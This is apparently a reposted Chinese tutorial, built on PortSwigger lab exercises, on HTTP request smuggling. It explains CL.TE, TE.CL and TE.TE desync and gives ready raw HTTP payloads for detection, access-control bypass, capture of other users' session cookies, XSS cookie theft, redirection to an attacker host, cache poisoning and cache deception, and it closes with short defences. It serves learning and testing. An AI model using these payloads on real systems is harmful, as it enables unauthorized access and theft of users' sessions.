目錄
1. 什么是HTTP請求夾帶攻擊?
2. HTTP請求夾帶原理
3. HTTP請求夾帶漏洞如何產生?
4. HTTP請求夾帶利用方式
5. 基礎HTTP請求夾帶
5.1 CL.TE漏洞
5.2 TE.CL漏洞
5.3 TE.TE漏洞——混淆TE頭
6. HTTP請求夾帶之如何挖掘
6.1 漏洞檢測—延時技術
6.1.1 延時技術——CL.TE漏洞
6.1.2 延時技術——TE.CL漏洞
6.2 漏洞確認—回應包差異
6.2.1 CL.TE漏洞——回應包差異
6.2.2 TE.CL漏洞——回應包差異
6.3 Smuggle-attack工具使用
7. HTTP請求夾帶之利用與繞過
7.1 繞過安全訪問控制機制
7.1.1 CL.TE漏洞——繞過安全訪問
7.1.2 TE.CL漏洞——繞過安全訪問
7.2 外帶前端服務器重寫請求的內容
7.2.1 外帶前端服務器重寫請求的內容——利用
7.3 抓取其他用戶的請求
7.3.1 抓取其他用戶的請求——利用
7.4 HTTP請求夾帶&反射XSS
7.4.1 HTTP請求夾帶&反射XSS——盜取用戶Cookie
7.5 HTTP請求夾帶重定向
7.6 HTTP請求夾帶——快取投毒
7.7 HTTP請求夾帶&快取欺騙
8. HTTP請求夾帶防護
9. 參考
1. 什么是HTTP請求夾帶攻擊?
HTTP請求夾帶(HTTP request smuggling)是一種干擾網站處理從一個或多個用戶接受的請求的一種攻擊技術,通俗地理解就是:攻擊者發送一個陳述句模糊的請求,就有可能被決議為兩個不同的HTTP請求,第二請求就會“逃過”正常的安全設備的檢測,使攻擊者可以繞過安全控制,未經授權訪問敏感資料并直接危害其他應用程式用戶,

2. HTTP請求夾帶原理
現金的Web應用通常會在用戶和最終應用程式邏輯之間使用大量的HTTP服務器,用以優化分流控制網路流量用戶發送多個請求到Front-End前端服務器(也稱負載均衡或反向代理服務器),然后這個服務器將請求轉發到一個或多個后端服務器處理,
當Front-End前端服務器想把HTTP請求轉發給時,它通常會經由相同的后端網路鏈路傳輸發送多個請求,因為種方式的效率和性能更高(如下圖所示),傳輸協議也非常簡單:HTTP請求按序列發送,收到請求的服務器通過決議請求的HTTP頭來確定其中某個請求的結束位置,以及下一個請求的開始,

此時,Front-End前端服務器和Back-End后端服務器關于多個請求之間的邊界問題的一致性是非常重要的!否則,攻擊者可能發送一個模糊的請求,若前端服務器和后端服務器之前對請求的邊界沒有嚴格定義好,就會對這個請求執行不用的決議處理方式,從而產生不同的相應結果,請求夾帶攻擊也就由此產生,

3. HTTP請求夾帶漏洞如何產生?
產生HTTP請求夾帶漏洞的原因大多是因為HTTP規范提供了兩種不同的方式來指定請求的結束位置,分別是Content-Length(CL)和Transfer-Encodeing(TE),
Content-Length頭表明了以位元組為單位的訊息長度
比如:
POST /search HTTP/1.1
Host: website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling
Transfer-Encoding頭常常用于指定請求體使用分塊編碼(Chunked Encode),也就是說訊息報文由一個或多個資料塊組成,每個資料塊由十六進制的位元組塊組成,后跟換行符,然后是塊內容,最重要的是:整個訊息報文以大小為0的塊結束,換句話說就是決議遇到0就結束,
比如(注意,0后面還有兩個 \r\n):
POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
b
q=smuggling
0
值得一提的是,關于Chunked Encode這種傳輸編碼方式,之前可以利用這個欄位去繞過一些WAF,具體參考工具 https://github.com/c0ny1/chunked-coding-converter
當HTTP規范支持者兩種不同的方法去指定訊息報文的長度時,單個請求可以同時使用者兩種方法,很可能會產生沖突,即單個請求被決議成兩個請求,HTTP規范也試圖通過宣告來防止此漏洞,如:如果Content-Length和Transfer-Encoding標頭同時出現在一個請求中,則應忽略Content-Length標頭,這種規范在一臺服務器接收請求時可以避免漏洞,但在兩臺或多臺服務器鏈接收請求時還是可能會出現問題,原因在于:
1. 某些服務器不支持請求中的Transfer-Encoding頭;(造成TE.CL)
2. 如果攻擊者把標頭以某種方式進行模糊構造,則可能會導致某些支持Transfer-Encoding標頭的服務器不會處理部份訊息內容,而把這些內容當成是下一個請求的起始,(TE.TE)
至此,前端服務器和后端服務器對模糊構造的Transfer-Encoding標頭決議結果不同,相互之間對請求的邊界不能達成一致,就會導致請求夾帶漏洞的產生,
4. HTTP請求夾帶利用方式
HTTP請求夾帶攻擊需要將Content-Length頭和Transfer-Encodeing頭放入單個請求中,并操控使得前端和后端服務器以不同方式處理請求,這種攻擊取決于前端和后端兩臺服務器對標頭的處理方式:
CL.TE:前端服務器使用Content-Length頭,后端服務器使用Transfer-Encoding頭;
TE.CL:前端服務器使用Transfer-Encoding頭,后端服務器使用Content-Length頭;
TE.TE:前端和后端服務器都支持采用Transfer-Encoding頭,但可以通過某種方式對標頭進行模糊構造,導致其中一臺服務器不對它進行TE處理,
5. 基礎HTTP請求夾帶
以下通過靶場演示來進一步了解HTTP請求夾帶的基本利用方式,
5.1 CL.TE漏洞
這里的前端服務器采用Content-Length頭,而后端服務器采用Transfer-Encoding頭,攻擊者可以通過以下單個請求來進行夾帶攻擊:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 17
Transfer-Encoding: chunked
0
smuggle-data
簡單解釋一下程序,前端服務器通過Content-Length頭來確定了訊息報文長度大小為13個位元組(換行為\r\n,算2個位元組),這17個位元組包括了POST的所有資料:
0
smuggle-data
此時訊息報文傳輸到采用Transfer-Encoding頭的后端服務器,它是采用分塊編碼來處理訊息報文的,當決議到第一個分塊為0時,處理結束,那么剩余未處理的 smuggle-data 位元組內容,后端服務器將一直等待直至下一個請求到來時處理,即后端服務器將這些位元組視為序列中下一個請求的開始,此時若前端服務器繼續向后端服務器發送請求或其他用戶發送請求時,那么后端服務器接收的下一個請求內容就是:
smuggle-dataPOST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 15
Transfer-Encoding: chunked
......
這樣后端服務器將會回傳回應:
Unrecognized method smuggle-dataPOST
-------------------------------------------------我不是分隔線-------------------------------------------------
了解漏洞程序之后,話不多說,直接演示
主頁抓包,將GET請求方法改為POST:

請求正常:

加入TE頭,并且構造POST資料,夾帶出GPOST請求
發送惡意請求:

繼續發送第二個請求(這個請求也可能是其他用戶發送的,總之都在后端服務器的請求序列中),這個請求將加入后端服務器的請求等待序列并且被處理決議為GPOST請求方式:

5.2 TE.CL漏洞
這里的前端服務器采用Transfer-Encoding頭,而后端服務器采用Content-Length頭,攻擊者可以通過以下單個請求來進行夾帶攻擊:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Transfer-Encoding: chunked
12
smuggle-data
0
程序和上一lab相反,在單個請求中,前端服務器使用Transfer-Encoding頭,將訊息體視為分塊編碼方式,現不是依照CL頭的長度來結束請求,而是通過TE頭規范中遇到0位元組來結束請求,故當前端服務器接收到第一個請求時候,決議得到的資料為:
12
smuggle-data
此資料包傳輸到采用Content-Length頭的后端服務器,由于CL指定的長度為4,所以訊息內容到12結束,剩余未處理的 smuggle-data 位元組內容,后端服務器將一直等待直至下一個請求到來時處理,
在bp的Repeater時,要將"Repeater >> Update Content-Length"選項關閉,手工指定長度,
同樣主頁抓包,改為POST請求方式,并且加入Transfer-Encoding欄位頭:

意圖是在采用Content-Length頭的后端服務器處理時,只處理1位元組,而剩余的:
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
造成請求夾帶,這里手動將CL的長度改為4:

第二次發送請求即可夾帶出GPOST請求:

5.3 TE.TE漏洞——混淆TE頭
這里前端服務器和后端服務器都采用了Transfer-Encoding頭的方式,但可以通過混淆TE頭的方式來使得其中一個服務器不使用TE頭的處理方式,
常見的混淆TE:
1. Transfer-Encoding: xchunked
2. Transfer-Encoding : chunked
3. Transfer-Encoding: chunked
4. Transfer-Encoding: x
5. Transfer-Encoding:[tab]chunked
6. [space]Transfer-Encoding: chunked
7. X: X[\n]Transfer-Encoding: chunked
8. Transfer-Encoding
: chunked
要發現TE.TE漏洞,必須找到Transfer-Encoding頭的某些變體,構造之,使得前端或后端服務器只有一個對其進行處理,而另一個服務器不進行TE決議,轉而進行CL決議,演變成CL.TE或TE.CL漏洞的形式,
第一次請求:

通過第一次請求,TE.TE轉為TE.CL形式,
第二次請求,即完成HTTP請求夾帶攻擊:

6. HTTP請求夾帶之如何挖掘
上述篇幅僅僅演示了HTTP請求夾帶的基本利用方式和程序,那么如何挖掘和發現HTTP請求夾帶漏洞也是非常之關鍵的一個點,
6.1 漏洞檢測—延時技術
一種非常普遍且高效的做法就是:發送一個將導致服務器回應延時/超時的請求,若漏洞存在,則會延時或者超時回應,
6.1.1 延時技術——CL.TE漏洞
若Web存在CL.TE型別的HTTP請求夾帶漏洞,可以構造如下請求,判斷是否導致延時:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4
1
A
X
當前端服務器使用頭且規定了CL的長度時,它僅僅會轉發請求中的部分內容,X除外,而后端服務器使用Transfer-Encoding分塊傳輸方式,它會接受到第一個分塊資料 1\r\nA,但未遇到結束符0,繼續等待直至回應超時,
6.1.2 延時技術——TE.CL漏洞
若是TE.CL,則構造如下請求:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6
0
X
當前端服務器使用Transfer-Encoding頭,在處理第一個分塊的時候就遇到了0,結束決議,將資料包發送到后端服務器,X除外,而后端服務器使用Content-Length的方式,它會繼續等待6個位元組長度的資料直至回應超時,
6.2 漏洞確認—回應包差異
通過上述方法檢測到可能存在HTTP請求夾帶漏洞之后,此時就嘗試根據回應包內容的差異性來確實該漏洞是否可利用,一般發送兩個不同作用的請求包來判斷:
- 一個用來干擾下一個請求的攻擊請求包
- 一個正常的請求包
如果第二個正常請求包的回應包含了一些“非預期”的內容,那么基本就可以確認漏洞的存在了,
例如,假設一個站點存在CL.TE漏洞,構造的夾帶請求包如下:
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
Transfer-Encoding: chunked
e
q=smuggling&x=
0
GET /404 HTTP/1.1
Foo: x
這個正常請求理所應當地會得到200的回應碼,但受到干擾后的第二個攻擊請求可能會得到404之類的回應碼(如下),
GET /404 HTTP/1.1
Foo: xPOST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling
6.2.1 CL.TE漏洞——回應包差異
按照之前的做法,這里直接夾帶一個404頁面:

第二次發送正常的請求即可發生請求夾帶:

可以看到,與延時技術不同,這里通過自定義夾帶逃逸的第二次“正常”的請求包,程序原理和上述的構造GPOST請求方式一樣,
6.2.2 TE.CL漏洞——回應包差異
對于TE.CL漏洞,第一個構造的惡意請求包:

再發送第二個正常的請求包即可夾帶404:

6.3 Smuggle-attack工具使用
在滲透測驗中,難道那么多頁面都要這樣挨個去測?有沒有工具去批量檢測呢?
答案是肯定的,
使用插件:Burpsuite >> Extender >> BApp Store >> HTTP Request Smuggler
可以自定檢測出請求夾帶的點,方便進行進一步測驗

使用默認配置進行探測:

結果在 Target >> 目標站點 >> Issues

以CL.TE為例,右鍵進行Smugge-attack:

修改要夾帶(重定向)的請求頭:

Attack后,成功重定向到404:

7. HTTP請求夾帶之利用與繞過
HTTP請求夾帶攻擊可以做很多危害站點的行為,比如繞過安全訪問控制機制從而訪問未授權頁面、獲取敏感資訊等,
7.1 繞過安全訪問控制機制
大多Web應用中,前端服務器常常做了嚴格的安全訪問控制機制規則,控制請求是否有權限被后端服務器處理,后端服務器在處理前端服務器轉發過來的請求時,鑒于前端服務器嚴格的安全訪問控制機制和考慮設備性能的情況下,不會做過多安全檢查,故可以通過HTTP請求夾帶來將頁面重定向到未授權的頁面上,從而繞過安全訪問控制,
例如,當前用戶的權限只能訪問/home頁面,沒有權限訪問/admin,若Web存在CL.TE型別的HTTP請求夾帶漏洞,當前用戶可以繞過安全機制,利用夾帶技術未授權訪問頁面:
POST /home HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: xGET /home HTTP/1.1
Host: vulnerable-website.com
7.1.1 CL.TE漏洞——繞過安全訪問
目標是訪問未授權頁面/admin,并通過頁面來洗掉用戶carlos
首先通過延時技術來判斷是否存在CL.TE漏洞點:

服務器10秒超時了,存在CL.TE
接著嘗試利用HTTP請求夾帶Bypass訪問/admin頁面:
嘗試1
第一次請求:

第二次請求出現401未授權:

可能是缺少Host頭導致的
嘗試2

第二次請求出現兩次請求頭不一樣的拒絕資訊:

可能是缺少Content-Type欄位
嘗試3

第二次請求即可重定向到未授權的頁面/admin

最后直接構造洗掉carlos用戶的請求夾帶即可(省略第一次請求的圖):

為什么當請求缺少一些headers頭欄位時,后端服務器會拒絕處理決議?
有什么辦法可以知道后端服務器需要哪些必要的欄位或前端服務器新增了哪些欄位呢?
這里先埋一個伏筆,下文會提,
7.1.2 TE.CL漏洞——繞過安全訪問
同樣通過延時技術來判斷是否存在TE.CL漏洞點:

超時了說明存在,程序原理與CL.TE大同小異
第一次請求:

第二次請求即跳轉到/admin

需要注意的是,夾帶的請求中,POST或GET都可能作為攔截規則被過濾,所以嘗試的夾帶請求方式可以使用采取相應的替換或繞過,
7.2 外帶前端服務器重寫請求的內容
在許多Web應用中,前端服務器在向后端服務器發送請求的時候,往往會先添加一些必要的請求頭欄位,這些欄位是后端服務器對請求進行處理所必須的,這也是上述實驗中,后端服務器拒絕處理缺少某些headers頭欄位請求的原因!
例如,前端服務器可能需要:
- 描述TLS連接和增加一些headers頭以描述使用的協議和密碼;
- 增加X-Forwarded-For來顯示用戶端IP地址;
- 根據用戶ID來分配session token且增加一些headers頭來識別用戶;
- 增加一些吸引攻擊的敏感資訊,
基于上述幾點,如果構造的夾帶請求缺少前端服務器所需的headers頭欄位時,后端服務器往往不會處理決議此請求(前面一些Lab也遇到過要添加某些headers的情況),
只要我們去找前端服務器如何重寫請求就好了,即重寫/新增了哪些欄位,簡單流程如下:
- 找一個將請求引數的值輸出到回應包中的POST請求;
- 排列POST的請求引數,使該引數在訊息體的最后;
- 夾帶請求到后端服務器,此時夾帶內容賦值給該引數,然后再發送一個正常的請求,之后前端服務器對這個請求重寫的一些欄位就會通過該引數顯示在回應包(頁面)中,
舉個栗子,假設一個Web應用存在CL.TE漏洞,且有一個將email引數輸出到回應包(頁面)的登錄功能:
POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
email=wiener@normal-user.net
輸出的回應包中:
<input id="email" value="wiener@normal-user.net" type="text">
對此,可以對應的使用如下的夾帶請求來顯示出前端服務器到底重寫/添加了哪些欄位:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Transfer-Encoding: chunked
0
POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
email=POST /login HTTP/1.1
Host: vulnerable-website.com
...
前端服務器將重寫這個請求(可能是重寫或新增一些headers欄位),對應的后端服務器將處理決議這個夾帶的請求(第二個正常的請求),并且會將重寫后的請求包通過email引數外帶到回應包(頁面)中:
<input id="email" value="POST /login HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-For: 1.3.3.7
X-Forwarded-Proto: https
X-TLS-Bits: 128
X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256
X-TLS-Version: TLSv1.2
x-nr-external-service: external
...
這樣就不需要像之前那樣盲猜前端服務器需要哪些headers頭欄位了,直接通過請求夾帶給泄露出來,
7.2.1 外帶前端服務器重寫請求的內容——利用
首先查找一個將請求引數的值輸出到回應包中的POST請求:

只有一個引數,省去引數排序的步驟,進行請求夾帶漏洞利用
先判斷是什么夾帶型別,發送CL.TE的poc:

發現超時了,存在CL.TE型別的漏洞
直接進行對應的請求夾帶漏洞利用,并且將夾帶的資料賦值給search引數:

第二次正常的請求即可外帶出請求重寫的欄位:

發現欄位不全,原因是Content-Length的長度設定得太小了,可以適當調整大小:

找到前端服務器重寫的欄位為:
X-jxlOel-Ip: x.x.x.140
直接請求夾帶到/admin頁面即可:


7.3 抓取其他用戶的請求
既然能夠通過夾帶請求包外帶出服務器的處理決議方式,當然也可以抓取其他用戶的請求資訊,包括Cookie、Session Token以及其他敏感用戶等資訊,
如果Web應用存在一些能夠接收文本資料并存盤的功能時,那么就可以利用HTTP請求夾帶來捕獲或外帶出其他用戶的請求資訊,這種做法的原理類似于存盤型XSS,漏洞常常出現的功能點:注釋、組態檔、螢屏名稱等,
漏洞利用的原理和程序與外帶前端服務器重寫請求的內容大同小異,只不過這里是將HTTP請求夾帶的請求包提交到存盤功能處,其中包含資料的引數同樣位于請求包最后,后端服務器在處理下一個用戶正常的請求的時候就會將其追加到夾帶的請求中,結果將存盤到另一個用戶的請求中,
假設某網站用如下請求包來提交一個評論(評論肯定是存盤在資料庫的):
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 154
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO
csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&comment=My+comment&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net
以CL.TE為例,通過執行如下HTTP請求夾帶,將夾帶的請求資料存盤到服后端服務器上:
GET / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 324
0
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO
csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=
當后端服務器接收并處理另一個用戶的請求時,用戶的請求資料將會追加到comment引數值,那么此用戶的請求資料將完全泄露:
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO
csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=GET / HTTP/1.1
Host: vulnerable-website.com
Cookie: session=jJNLJs2RKpbg9EQ7iWrcfzwaTvMw81Rj
這種技術的一個局限性在于,它通常只用來抓取用戶的請求包資料,直到匹配到該請求規范使用的引數定界符為止, 如,對于URL編碼的表單提交,它是&字符,這意味著從受害用戶的請求中存盤的內容將以第一個&結束,甚至可能出現在查詢字串中,
7.3.1 抓取其他用戶的請求——利用
首先判斷該站點是否存在請求夾帶漏洞:

判斷得知為CL.TE類的請求夾帶,
同時站點有一個提交評論的地方:

在存在請求夾帶的頁面,夾帶一個提交評論的請求包:

這個請求包將存盤在評論串列里,只要任何用戶訪問就可以將其請求包資料存盤在評論內容comment里
重繪一下評論串列:

再重繪:

適當調整Content-Length即可獲取到全部的請求包資料,
7.4 HTTP請求夾帶&反射XSS
這個情況的利用比較受限,需要HTTP請求夾帶&反射XSS兩個漏洞進行組合拳攻擊,才能獲取到用戶的請求等資訊:
- 不需要與受害者互動,僅需將XSS嵌入夾帶的請求中,當下一個受害用戶的請求到來時,后端服務器會自動處理;
- 若能在HTTP的請求的某些欄位中應用XSS,但是由于作為HTTP請求頭,不能完全地控制引數進行XSS,故要配合請求夾帶攻擊,
例如,假設一個站點的請求頭中的User-Agent欄位存在一個反射型XSS,你可以配合HTTP請求夾帶進行獲取受害者的Cookie:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 63
Transfer-Encoding: chunked
0
GET / HTTP/1.1
User-Agent: <script>alert(document.cookie)</script>
Foo: X
7.4.1 HTTP請求夾帶&反射XSS——盜取用戶Cookie
首先通過延時技術發現主頁存在CL.TE型別的夾帶漏洞:

又發現在提交評論的地方,User-Agent存在反射型XSS:

兩者配合:

當用戶訪問的時候,就能成功get到用戶的請求:

7.5 HTTP請求夾帶重定向
許多站點都使用重定向功能,特別的有些是根據請求頭中的host欄位來進行重定向,例如一個IIS服務器,當請求的URL不是目錄的時候,將會自動在后面加上/,并重定向到其目錄下:
請求:
GET /home HTTP/1.1
Host: normal-website.com
回應:
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
這種做法看似是沒有問題的,但是如果存在HTTP請求夾帶就有問題了,它能將用戶重定向到攻擊者指定的頁面上,
例如:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
請求夾帶之后,如果是根據host頭進行跳轉,這會影響到下一個用戶的請求,用戶的請求將會變為:
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
回應結果:
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
7.6 HTTP請求夾帶——快取投毒
在基于HTTP請求夾帶Host跳轉重定向的基礎上,如果前端服務器還有快取靜態資源的功能的話,還可以配合進行快取投毒,
例如,攻擊者發送了一個夾帶請求到前端服務器:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 59
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /static/include.js HTTP/1.1
Host: vulnerable-website.com
這個夾帶的請求將在重定向之前被后端服務器處理,對下一個請求造成影響,前端服務器會快取這個回應包,當用戶第二次訪同一個/static/include.js時,直接造成快取投毒重定向到攻擊者指定的頁面上,
GET /static/include.js HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
例如,一個站點有一個重定向的功能,且是根據請求頭中的Host重定向到https://host/post下:

又發現站點有快取的功能:


主頁也存在CL.TE類的請求夾帶:

利用以上三點,可以進行HTTP請求夾帶&快取投毒:
POST / HTTP/1.1
Host: ac1c1fb11fc3d49a8096c47200b800ad.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 129
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: baidu.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1


證明了可以進行請求夾帶&Host重定向攻擊來影響下一個正常的請求的(這個請求可能是讀取快取的請求)
再在自己的服務器上搭建一個與重定向同級的目錄(/post):

然后進行請求夾帶,使下一個正常的請求重定向到攻擊者服務器上:
POST / HTTP/1.1
Host: ac1c1fb11fc3d49a8096c47200b800ad.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 178
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: ac2b1fc21fd4d403809bc4c101420077.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
然后訪問/resources/js/tracking.js檔案,發現回應為請求夾帶的重定向到攻擊者服務器上的檔案:

再訪問主頁即可彈窗:

因為原請求的/resources/js/tracking.js會被前端服務器認為是靜態資源,所以想要快取起來,但這時我們利用 HTTP請求夾帶將這個請求重定向了我們(或攻擊者)的服務器上,回傳了alert(document.cookie)給原請求,然后這個回應包就會間接地被前端服務器快取起來,這樣我們就成功進行了投毒,
7.7 HTTP請求夾帶&快取欺騙
其實這個場景與快取投毒類似,但是稍有一點區別:
- 快取投毒,攻擊者誘導服務器存盤一些惡意的快取內容,且這些惡意內容會作為快取影響到其他用戶,
- 快取欺騙,攻擊者誘導服務器存盤一些其他用戶的敏感快取內容,且攻擊者接著從快取中獲取這些敏感內容,
例如,攻擊者通過HTTP請求夾帶竊取用戶的一些敏感資訊:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 43
Transfer-Encoding: chunked
0
GET /private/messages HTTP/1.1
Foo: X
接著其他用戶的下一個請求(包含Session等敏感資訊)將會拼接到夾帶的請求后面:
GET /private/messages HTTP/1.1
Foo: XGET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com
Cookie: sessionId=q1jn30m6mqa7nbwsa0bhmbr7ln2vmh7z
...
可以看到用戶原本請求的路徑被拼接到夾帶請求的Foo欄位中了,剩下的都是正常的請求部分,只不過里面包含了用戶的敏感資訊,若服務器有快取的功能,那么前端服務器會將靜態資源檔案 /static/some-image.png 快取起來,下一次再請求的時候就直接回傳快取的內容,攻擊者也是利用這一步獲取到用戶資訊的,
請求:
GET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com
回應(快取):
HTTP/1.1 200 Ok
...
<h1>Your private messages</h1>
...
用下面實驗來演示如何盜取已登錄用戶的敏感資訊key
首先判斷得知主頁存在請求夾帶:

用戶額key存在于:https://ac661fb61f6945588028025000ca0048.web-security-academy.net/my-account
直接在主頁下請求夾帶:
POST / HTTP/1.1
Host: ac661fb61f6945588028025000ca0048.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
Transfer-Encoding: chunked
0
GET /my-account HTTP/1.1
Foo: X
然后重繪主頁,看看加載的靜態資源中有沒有key:

如沒有,就一直夾帶+重繪,直到快取出現
實際攻擊者會直接暴力列舉,然后搜索快取是否出現:

8. HTTP請求夾帶防護
前面說過,HTTP規范也試圖通過宣告來防止此漏洞,如:如果Content-Length和Transfer-Encoding標頭同時出現在一個請求中,則應忽略Content-Length標頭,這種規范在一臺服務器接收請求時可以避免漏洞,但在兩臺或多臺服務器鏈接收請求時還是可能會出現問題,
對此,防止HTTP請求夾帶漏洞的常用方法如下:
- 禁用后端連接的復用,使得每個后端請求通過單獨的網路連接發送;
- 使用HTTP/2協議的后端連接,此協議能夠整合前后端對請求邊界的一致性;
- 前后端服務器使用完全相同的Web服務軟體,以便請求之間的邊界達成一致;
9. 參考
https://portswigger.net/web-security/request-smuggling
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/23066.html
標籤:AI
上一篇:流量計故障怎么辦
下一篇:在哪里可以下載軟體啊
